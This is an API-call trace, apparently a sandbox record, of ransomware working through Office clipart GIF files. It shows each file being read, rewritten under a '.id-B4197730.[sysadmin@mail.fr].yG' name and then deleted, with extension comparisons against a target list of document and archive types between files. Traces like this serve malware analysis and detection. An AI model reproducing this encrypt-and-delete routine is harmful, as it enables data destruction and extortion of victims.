	[0051.859] ReadFile (in: hFile=0x348, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.859] WriteFile (in: hFile=0x2f4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.859] SetEndOfFile (hFile=0x2f4) returned 1
	[0051.859] CloseHandle (hObject=0x2f4) returned 1
	[0051.859] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.860] SetEndOfFile (hFile=0x348) returned 1
	[0051.860] CloseHandle (hObject=0x348) returned 1
	[0051.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.861] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1
	[0051.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.861] lstrlenW (lpString=".doc") returned 4
	[0051.861] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.861] lstrlenW (lpString=".docx") returned 5
	[0051.861] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.861] lstrlenW (lpString=".pdf") returned 4
	[0051.861] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.861] lstrlenW (lpString=".xls") returned 4
	[0051.861] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.861] lstrlenW (lpString=".xlsx") returned 5
	[0051.861] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.861] lstrlenW (lpString=".ppt") returned 4
	[0051.861] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.861] lstrlenW (lpString=".zip") returned 4
	[0051.861] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.861] lstrlenW (lpString=".rar") returned 4
	[0051.861] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.861] lstrlenW (lpString=".bz2") returned 4
	[0051.861] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.861] lstrlenW (lpString=".7z") returned 3
	[0051.861] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".dbf") returned 4
	[0051.862] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".1cd") returned 4
	[0051.862] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".jpg") returned 4
	[0051.862] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".doc") returned 4
	[0051.862] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.862] lstrlenW (lpString=".docx") returned 5
	[0051.862] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.862] lstrlenW (lpString=".pdf") returned 4
	[0051.862] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString=".xls") returned 4
	[0051.862] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString=".xlsx") returned 5
	[0051.862] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.862] lstrlenW (lpString=".ppt") returned 4
	[0051.862] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".zip") returned 4
	[0051.862] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString=".rar") returned 4
	[0051.862] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.862] lstrlenW (lpString=".bz2") returned 4
	[0051.862] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.862] lstrlenW (lpString=".7z") returned 3
	[0051.862] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.862] lstrlenW (lpString=".dbf") returned 4
	[0051.862] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.863] lstrlenW (lpString=".1cd") returned 4
	[0051.863] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 68
	[0051.863] lstrlenW (lpString=".jpg") returned 4
	[0051.863] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.863] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.863] lstrlenW (lpString="AG00157_.GIF") returned 12
	[0051.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.869] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4955) returned 1
	[0051.869] CloseHandle (hObject=0x2e0) returned 1
	[0051.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 0x220
	[0051.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.870] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.870] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0051.872] GetLastError () returned 0x0
	[0051.872] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x135b, lpOverlapped=0x0) returned 1
	[0051.874] WriteFile (in: hFile=0x348, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1360, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1360, lpOverlapped=0x0) returned 1
	[0051.875] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.875] WriteFile (in: hFile=0x348, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.875] SetEndOfFile (hFile=0x348) returned 1
	[0051.880] CloseHandle (hObject=0x348) returned 1
	[0051.881] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.881] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.882] CloseHandle (hObject=0x2e0) returned 1
	[0051.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif")) returned 1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString=".doc") returned 4
	[0051.883] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.883] lstrlenW (lpString=".docx") returned 5
	[0051.883] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.883] lstrlenW (lpString=".pdf") returned 4
	[0051.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString=".xls") returned 4
	[0051.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString=".xlsx") returned 5
	[0051.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.883] lstrlenW (lpString=".ppt") returned 4
	[0051.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString=".zip") returned 4
	[0051.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString=".rar") returned 4
	[0051.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString=".bz2") returned 4
	[0051.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.883] lstrlenW (lpString=".7z") returned 3
	[0051.883] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString=".dbf") returned 4
	[0051.883] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString=".1cd") returned 4
	[0051.883] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.883] lstrlenW (lpString=".jpg") returned 4
	[0051.883] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString=".doc") returned 4
	[0051.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.884] lstrlenW (lpString=".docx") returned 5
	[0051.884] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.884] lstrlenW (lpString=".pdf") returned 4
	[0051.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.884] lstrlenW (lpString=".xls") returned 4
	[0051.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.884] lstrlenW (lpString=".xlsx") returned 5
	[0051.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.884] lstrlenW (lpString=".ppt") returned 4
	[0051.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString=".zip") returned 4
	[0051.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.884] lstrlenW (lpString=".rar") returned 4
	[0051.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.884] lstrlenW (lpString=".bz2") returned 4
	[0051.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.884] lstrlenW (lpString=".7z") returned 3
	[0051.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString=".dbf") returned 4
	[0051.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString=".1cd") returned 4
	[0051.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68
	[0051.884] lstrlenW (lpString=".jpg") returned 4
	[0051.884] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.885] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.885] lstrlenW (lpString="AG00160_.GIF") returned 12
	[0051.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.885] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1146) returned 1
	[0051.885] CloseHandle (hObject=0x2e0) returned 1
	[0051.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220
	[0051.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.887] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.887] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0051.892] GetLastError () returned 0x0
	[0051.892] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x47a, lpOverlapped=0x0) returned 1
	[0051.913] WriteFile (in: hFile=0x388, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x480, lpOverlapped=0x0) returned 1
	[0051.913] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0051.913] WriteFile (in: hFile=0x388, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xec, lpOverlapped=0x0) returned 1
	[0051.913] SetEndOfFile (hFile=0x388) returned 1
	[0051.914] CloseHandle (hObject=0x388) returned 1
	[0051.914] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.914] SetEndOfFile (hFile=0x2e0) returned 1
	[0051.915] CloseHandle (hObject=0x2e0) returned 1
	[0051.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0051.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".doc") returned 4
	[0051.916] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.916] lstrlenW (lpString=".docx") returned 5
	[0051.916] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.916] lstrlenW (lpString=".pdf") returned 4
	[0051.916] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString=".xls") returned 4
	[0051.916] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString=".xlsx") returned 5
	[0051.916] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.916] lstrlenW (lpString=".ppt") returned 4
	[0051.916] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".zip") returned 4
	[0051.916] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString=".rar") returned 4
	[0051.916] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString=".bz2") returned 4
	[0051.916] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.916] lstrlenW (lpString=".7z") returned 3
	[0051.916] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".dbf") returned 4
	[0051.916] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".1cd") returned 4
	[0051.916] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".jpg") returned 4
	[0051.916] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.916] lstrlenW (lpString=".doc") returned 4
	[0051.916] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0051.917] lstrlenW (lpString=".docx") returned 5
	[0051.917] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0051.917] lstrlenW (lpString=".pdf") returned 4
	[0051.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0051.917] lstrlenW (lpString=".xls") returned 4
	[0051.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0051.917] lstrlenW (lpString=".xlsx") returned 5
	[0051.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0051.917] lstrlenW (lpString=".ppt") returned 4
	[0051.917] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0051.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.917] lstrlenW (lpString=".zip") returned 4
	[0051.917] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0051.917] lstrlenW (lpString=".rar") returned 4
	[0051.917] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0051.917] lstrlenW (lpString=".bz2") returned 4
	[0051.917] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0051.917] lstrlenW (lpString=".7z") returned 3
	[0051.917] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0051.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.918] lstrlenW (lpString=".dbf") returned 4
	[0051.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0051.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.918] lstrlenW (lpString=".1cd") returned 4
	[0051.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0051.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0051.918] lstrlenW (lpString=".jpg") returned 4
	[0051.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0051.918] lstrcmpiW (lpString1=".GIF", lpString2=".yG") returned -1
	[0051.918] lstrlenW (lpString="AG00164_.GIF") returned 12
	[0051.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.918] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=13254) returned 1
	[0051.918] CloseHandle (hObject=0x2e0) returned 1
	[0051.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220
	[0051.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0051.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0051.919] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.919] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0051.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0051.919] GetLastError () returned 0x0
	[0051.919] ReadFile (in: hFile=0x2e0, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x33c6, lpOverlapped=0x0) returned 1
	[0051.979] WriteFile (in: hFile=0x388, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x33d0, lpOverlapped=0x0) returned 1
